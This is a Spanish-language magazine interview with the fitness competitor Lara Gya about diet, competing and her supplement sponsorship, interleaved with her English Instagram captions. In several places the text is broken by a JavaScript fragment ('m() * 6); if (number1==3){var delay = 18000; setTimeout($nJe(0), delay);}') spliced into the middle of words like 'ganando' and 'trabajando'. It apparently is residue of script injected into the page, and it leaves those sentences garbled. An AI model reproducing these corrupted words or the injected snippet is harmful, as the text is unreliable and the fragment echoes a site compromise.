Lara Gya, campeona de fitness

Descubre porqué empezó a competir.

Autor: Redacción Maxim 28 enero, 2020

FOTO: Instagram @Lara Gya

Por Maxim Australia

Esta mujer es campeona de fitness, nutrióloga , motivadora de vida saludable y embajadora de Bulk Nutrients.

Hola Lara, cuéntanos un poco sobre ti.

Soy Lara, una nutrióloga calificada, competidora de la IFBB (Federación Internacional de Culturismo y Fitness) y amante de todo lo relacionado con la salud y la forma física. También soy graduada de Ciencias Biomédicas. Mi carrera estaba basada en la ciencia, ya que puedo ser una gran nerd.

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HAPPY FRIYAY FITFAM 🥳 • Hope we all had an amazing week; and if you haven’t don’t worry holidays are right around the corner 😉 Im super excited to be heading to Perth this weekend; and Bali over New Years; and of course have to make a pit stop in Melbourne somewhere in there 😊🙌🏽 In light of friday; what better way to celebrate than with some fun facts 👇🏽 1. Moved to Sydney 🤭 2. I hate Turkish delights 😐 3. Prawn sushi is the best sushi 🍣 4. Currently got a khaki obsession 🙋🏼‍♀️ 5. Will be in two states on Christmas ✈️ 6. Can squat more than my body weight🏋🏼‍♂️ 7. I carry a booty band in my bag 🍑 8. Prefer lemon than lime🍋 9. I hate fizzy drinks🤣 10. My favourite food on Christmas…TURKEY 😉 • Less than two weeks till Christmas, hope everyone is starting to get a lil bit festive; as I know I will be this weekend 💃🏼🎅🏽🤶🏼

A post shared by Lara Gya (@laralive2lift) on Dec 12, 2019 at 12:32pm PST

Recientemente terminó tu maestría en Nutrición: ¿cuál es el mejor consejo de dieta y condición física que podría darle a alguien?

Me encanta ayudar a las personas que desean alcanzar sus objetivos de salud y estado físico, por lo que la mejor dieta … es simple: deben encontrar alimentos saludables que les encanten y disfruten. Siempre creo que una dieta es un cambio de estilo de vida y para mí realmente creo en el equilibrio y lograr eso a largo plazo te ayudará a lograr tus objetivos.

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Recently, I got asked what role I would be a great role model for and what I would like to be known for….👇🏽 At first I thought it was because of my weight loss & lifestyle change and then I realised it was bigger than that….💫 • It’s completely overhauling a lifestyle to create something that you live & breath; day in and day out. There is only a certain amount of times in your life when you pivot to such a degree; and change who you are and what you stand for🙏🏼 • I want to be known as the catalyst for the pivot💪🏼💫 • I believe my lifestyle is a very balanced one; some may ask how I manage to do it. Truth is; it didn’t come easy. It took years for me to realise the meaning of balance & how I can really fit certain aspects in my life. I love working out & love being healthy however I do love a night out with friends and a pizza here and there; and that is what makes it sustainable 😊 • I guess that’s what I really believe I stand for; and if I get known for it; and make a change to people’s lives than that is what really is going to have impact on my life & others 💫 #liveyourbestlife #changeyourmindsetchangeyourlife

A post shared by Lara Gya (@laralive2lift) on Dec 6, 2019 at 1:38pm PST

También compites en acondicionamiento físico y tienes algunos títulos de Overall Champion de ICN Victoria. ¿Cómo llegaste a esto y lograste estas victorias?

Bueno, nunca solía estar en forma. No fue hasta que decidí cambiar mi vida y perder 25 kg que realmente me llevó a competir. Entrené duro, me dediqué y cambié toda mi vida para poder competir. Terminé ganandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}ando en general el primer año que competí y no he dejado de competir desde entonces.

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In life you can be one of two things; a go getter or a blocker 🤜🏼🙏🏼 • For me; I’m a go getter; I do what I want to do; follow my own path; and don’t let others bring me down. I hold my head up high; and even at the worst of times ALWAYS look at the positive side 🙏🏼 • I bring people up not tear them down. When someone does something great; I applaude them. I’m not a hater; I’m a lover. I believe all aspects in life should be celebrated no matter what or who you are 🙏🏼 • For those people who decide to be a blocker; you do you. I HATE people who think that it’s fun to bring other people down….and I’m going to leave it at that for now 😅 • Be a doer; be a go getter; and go strive to be the best you can be. Inspire others; and let those who are inspired share the love 💕 • Happy weekend lovers; and remember to be a go getter 🤜🏼🙌🏽

A post shared by Lara Gya (@laralive2lift) on Dec 21, 2019 at 12:43am PST

¿Cuál es la mejor manera de prepararse para una competencia de fitness?

¡Asegúrate que des todo! También es importante encontrar lo que te motiva al prepararte. Siempre quiero lograr el mejor físico posible y asegurarme de dedicarme al 100% cada vez es una excelente manera de prepararme. También es importante mantenerse constante, incluso fuera de temporada, ya que facilita mucho la preparación de la competencia.

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Happy Friday fitfam 🥳🙌🏽 • • I am having the most amazing time with my family & am currently in India! My grandparents are from here; so it’s great to see some heritage and visit some family 😊 I would never see myself here; and wow what an eye opening experience! It has made me realise how much I take my life for granted; when there is so many people out there doing it tough. I’m really looking forward to visiting some orphanages & the local hospital to spread some love and smiles 😊 • It’s Friday; and we can forget about some fun facts about me 🤪👇🏽 1. I haven’t had chocolate in 7 weeks 🤫 2. Turbulence scares the S** out of me🤯 3. I LOVE going for walks 😚 4. I secretly hate salmon 😐 5. Long toes freak me out 👀 6. I get really bad hay fever 🤪 7. When I was younger I used to be obsessed with crunchie mcflurries 🤭 8. Travelling Europe for 5 weeks next year✈️ 9. Would of been on 6 plane this month 🤭 10. The Rock is my favourite celebrity 🙋🏼‍♀️ • Hope everyone has an amazing weekend and spends it with the ones your love; just as I am 💕

A post shared by Lara Gya (@laralive2lift) on Nov 14, 2019 at 11:47pm PST

¿Cómo te involucraste con el equipo de Bulk Nutrients Pure Supplements?

¡Es gracioso porque estaba usandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}ando Bulk Nutrients antes de ser embajadora de ellos! Me encantó la marca y realmente creía en sus productos, y solicité ser parte del equipo y el resto es historia.

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ITS FRIYAY; and I’m back baby 😊💫 • Had the most amazing time in India; but I’m not going to lie and say I did miss home! I am glad to be back to routine; enjoying summer & doing a bit more jetsetting this year 😊✈️ Perth in two weeks; and bali in 5….and I’m not even going to mention all the places I’ll be visiting next year 😂 anyone else got the travel bug?! 🤫 • As for now; I’m happy to be home; and sleeping in my own bed 😊 it is Friday; and we all know what that means… FUN FACT FRIDAY 👇🏽 1. My next show is the Arnold’s 💫 2. I almost missed my connecting flight ✈️ 3. I love a chicken curry 🤭 4. Not a fan of wine 🤷🏼‍♀️ 5. I can’t sleep past 8am 😂 6. Now obsessed with Naan bread 🥖 7. Can balance a packet of mnms on my head whilst doing squats 🏋🏿‍♀️ 8. Currently have a bottomless stomach 🐷 9. Heading to festival x this weekend 🙋🏼‍♀️ 10. I don’t drink fizzy drinks 🍹 • Happy Friday fitfam! Hope you have an awesome weekend ahead 💫😊 Remember to get those workouts in early; & have some balance this weekend (and no I don’t meant balancing mnms on your head 🍫🤭)

A post shared by Lara Gya (@laralive2lift) on Nov 28, 2019 at 12:54pm PST

¿Cuál es tu mejor atractivo?

Esta es una pregunta difícil, pero mucha gente me felicita por mis hombros. He estado trabajandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}ando duro en ellos y debo decir que probablemente sean una de las características más potentes que tengo.

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Your work is going to fill a large part of your life, and the only way to be truly satisfied is to do what you believe is great work. And the only way to do great work is to love what you do. If you haven't found it yet, keep looking. Don't settle. As with all matters of the heart, you'll know when you find it 💫 • • Happy Monday lovers 💋

A post shared by Lara Gya (@laralive2lift) on Nov 11, 2019 at 12:05am PST

Cuandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}ando no estás comiendo sano y haciendo ejercicio, ¿qué más te gusta hacer?

Me encanta salir a caminar, montar a caballo y tener días de playa. También soy un amante de los viajes y planeo ir a India, Europa y América el próximo año.

A esta modelo le encanta la UFC BIANCA BOOTH, TODA UNA SENSACIÓN DE INSTAGRAM